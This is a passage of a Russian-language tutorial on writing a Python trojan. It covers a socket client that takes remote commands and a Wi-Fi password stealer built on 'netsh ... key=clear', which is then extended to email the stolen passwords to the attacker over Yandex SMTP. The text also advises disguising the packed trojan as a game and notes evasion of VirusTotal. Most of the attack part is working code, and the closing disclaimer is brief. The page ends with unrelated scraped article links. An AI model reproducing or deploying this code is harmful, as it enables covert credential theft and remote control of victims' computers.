client <wbr />= <wbr />socket.<wbr />socket(<wbr />socket.<wbr />AF_INET, <wbr />socket.<wbr />SOCK_STREAM)

соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ).
AF_INET озна­чает работу с IPv4-адре­саци­ей, а 
SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка:

client.<wbr />connect((<wbr />HOST, <wbr />PORT)<wbr />)

ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция
client.<wbr />recv(<wbr />1024) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема.

Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то вы руками вво­дите в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

Ко­ман­да
decode(<wbr />‘cp866’) декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но
cp866? Зай­дем в коман­дную стро­ку и вве­дем коман­ду
chcp.

Те­кущая кодовая стра­ница

Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть
utf8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.


При желании кодиров­ку мож­но поменять в коман­дной стро­ке, наб­рав пос­ле
chcp ее номер. Юни­код име­ет номер 65001.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет вам домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

Создание трояна на Питон

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давайте еще пароли от WiFi!

Создание WiFi-стилера на Python

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

import subprocess

import time

Мо­дуль
subprocess нужен для соз­дания новых про­цес­сов и соеди­нения с потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей WiFi:

# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре

data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’)

# Создаем список всех названий всех профилей сети (имена сетей)

WiFis = [line.split(‘:’)[1][1:1] for line in data if «Все профили пользователей» in line]

# Для каждого имени…

for WiFi in WiFis:

    # …вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear

    results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, WiFi, ‘key=clear’]).decode(‘cp866’).split(‘n’)

    # Забираем ключ

    results = [line.split(‘:’)[1][1:1] for line in results if «Содержимое ключа» in line]

    # Пытаемся его вывести в командной строке, отсекая все ошибки

    try:

        print(f‘Имя сети: {Wi-Fi}, Пароль: {results[0]}’)

    except IndexError:

        print(f‘Имя сети: {Wi-Fi}, Пароль не найден!’)

Вве­дя коман­ду в коман­дной стро­ке:

netsh <wbr />wlan <wbr />show <wbr />profiles

Mы получим сле­дующее.

netsh wlan show profiles

netsh wlan show profiles

Ес­ли рас­парсить вывод выше и под­ста­вить имя сети в коман­ду:

netsh <wbr />wlan <wbr />show <wbr />profile [<wbr />имя <wbr />сети] <wbr />key=clear

Резуль­тат будет как на кар­тинке. Его мож­но разоб­рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear

netsh wlan show profile ASUS key=clear
RAT Python. Результат VirusTotal
Результат VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

if server_command == ‘Wi-Fi’:

    data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’)

    WiFis = [line.split(‘:’)[1][1:1] for line in data if «Все профили пользователей» in line]

    for WiFi in WiFis:

        results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, WiFi, ‘key=clear’]).decode(‘cp866’).split(‘n’)

        results = [line.split(‘:’)[1][1:1] for line in results if «Содержимое ключа» in line]

        try:

            email = ‘mail@yandex.ru’

            password = ‘***’

            dest_email = ‘demo@demo.ru’

            subject = ‘Wi-Fi’

            email_text = (f‘Name: {Wi-Fi}, Password: {results[0]}’)

            message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

            server = smtp.SMTP_SSL(‘smtp.yandex.com’)

            server.set_debuglevel(1)

            server.ehlo(email)

            server.login(email, password)

            server.auth_plain()

            server.sendmail(email, dest_email, message)

            server.quit()

        except IndexError:

            email = ‘mail@yandex.ru’

            password = ‘***’

            dest_email = ‘demo@demo.ru’

            subject = ‘Wi-Fi’

            email_text = (f‘Name: {Wi-Fi}, Password not found!’)

            message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

            server = smtp.SMTP_SSL(‘smtp.yandex.com’)

            server.set_debuglevel(1)

            server.ehlo(email)

            server.login(email, password)

            server.auth_plain()

            server.sendmail(email, dest_email, message)

            server.quit()


Этот скрипт прост как два руб­ля и ожи­дает уви­деть рус­ско­языч­ную сис­тему. На дру­гих язы­ках это не сра­бота­ет, но испра­вить поведе­ние скрип­та мож­но прос­тым выбором раз­делите­ля из сло­варя, где ключ — обна­ружен­ный на компь­юте­ре язык, а зна­чение — тре­буемая фра­за на нуж­ном язы­ке.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

Троян на Python отработал

Троян на Python отработал

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

И конеч­но, сам троян очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

Заключение

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что вы ува­жаете закон, а получен­ные зна­ния о тро­янах вам никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будьте акку­ратны и не делайте глупостей!

Еще по теме: Как создать троян для Android

Понравилась статья? Поделить с друзьями:
  • Как написать человеку который тебя заблокировал везде
  • Как написать человеку который тебя бесит
  • Как написать человеку который сильно обидел
  • Как написать человеку который потерял близкого человека
  • Как написать человеку который нравится тебе ненавязчиво